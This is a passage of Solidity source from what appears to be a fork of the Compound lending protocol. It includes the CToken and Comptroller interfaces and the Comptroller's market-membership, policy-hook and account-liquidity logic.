emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external virtual returns (bool); function transferFrom(address src, address dst, uint amount) external virtual returns (bool); function approve(address spender, uint amount) external virtual returns (bool); function allowance(address owner, address spender) external view virtual returns (uint); function balanceOf(address owner) external view virtual returns (uint); function balanceOfUnderlying(address owner) external virtual returns (uint); function getAccountSnapshot(address account) external view virtual returns (uint, uint, uint, uint); function borrowRatePerBlock() external view virtual returns (uint); function supplyRatePerBlock() external view virtual returns (uint); function totalBorrowsCurrent() external virtual returns (uint); function borrowBalanceCurrent(address account) external virtual returns (uint); function borrowBalanceStored(address account) public view virtual returns (uint); function exchangeRateCurrent() public virtual returns (uint); function exchangeRateStored() public view virtual returns (uint); function getCash() external view virtual returns (uint); function accrueInterest() public virtual returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external virtual returns (uint); function _acceptAdmin() external virtual returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public virtual returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint); function _reduceReserves(uint reduceAmount) external virtual returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } abstract contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external virtual returns (uint); function redeem(uint redeemTokens) external virtual returns (uint); function redeemUnderlying(uint redeemAmount) external virtual returns (uint); function borrow(uint borrowAmount) external virtual returns (uint); function repayBorrow(uint repayAmount) external virtual returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external virtual returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external virtual returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } abstract contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public virtual; } abstract contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public virtual; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public virtual; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; abstract contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external virtual returns (uint[] memory); function exitMarket(address cToken) external virtual returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external virtual returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external virtual; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external virtual returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external virtual returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external virtual; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external virtual returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external virtual; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external virtual returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external virtual; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external virtual returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external virtual; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external virtual returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external virtual; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external virtual returns (uint, uint); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/Blo.sol"; /** * @title Compound's Comptroller Contract * @author Compound */ contract Comptroller is ComptrollerV4Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when maxAssets is changed by admin event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when market comped status is changed event MarketComped(CToken cToken, bool isComped); /// @notice Emitted when COMP rate is changed event NewCompRate(uint oldCompRate, uint newCompRate); /// @notice Emitted when a new COMP speed is calculated for a market event CompSpeedUpdated(CToken indexed cToken, uint newSpeed); /// @notice Emitted when COMP is distributed to a supplier event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex); /// @notice Emitted when COMP is distributed to a borrower event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex); /// @notice Emitted when borrow cap for a cToken is changed event NewBorrowCap(CToken indexed cToken, uint newBorrowCap); /// @notice Emitted when borrow cap guardian is changed event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian); /// @notice Emitted when blo address is changed event NewBloAddress(address oldBloAddress, address newBloAddress); /// @notice The threshold above which the flywheel transfers COMP, in wei uint public constant compClaimThreshold = 0.001e18; /// @notice The initial COMP index for a market uint224 public constant compInitialIndex = 1e36; // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public override returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external override returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.pop(); emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external override returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, minter, false); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external override { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external override returns (uint) { uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, redeemer, false); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external override { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external override returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } uint borrowCap = borrowCaps[cToken]; // Borrow cap of 0 corresponds to unlimited borrowing if (borrowCap != 0) { uint totalBorrows = CToken(cToken).totalBorrows(); (MathError mathErr, uint nextTotalBorrows) = addUInt(totalBorrows, borrowAmount); require(mathErr == MathError.NO_ERROR, "total borrows overflow"); require(nextTotalBorrows < borrowCap, "market borrow cap reached"); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external override { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external override returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external override { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external override returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external override { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external override returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // Keep the flywheel moving updateCompSupplyIndex(cTokenCollateral); distributeSupplierComp(cTokenCollateral, borrower, false); distributeSupplierComp(cTokenCollateral, liquidator, false); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external override { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external override returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(cToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, src, false); distributeSupplierComp(cToken, dst, false); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external override { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToDenom * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external override returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ 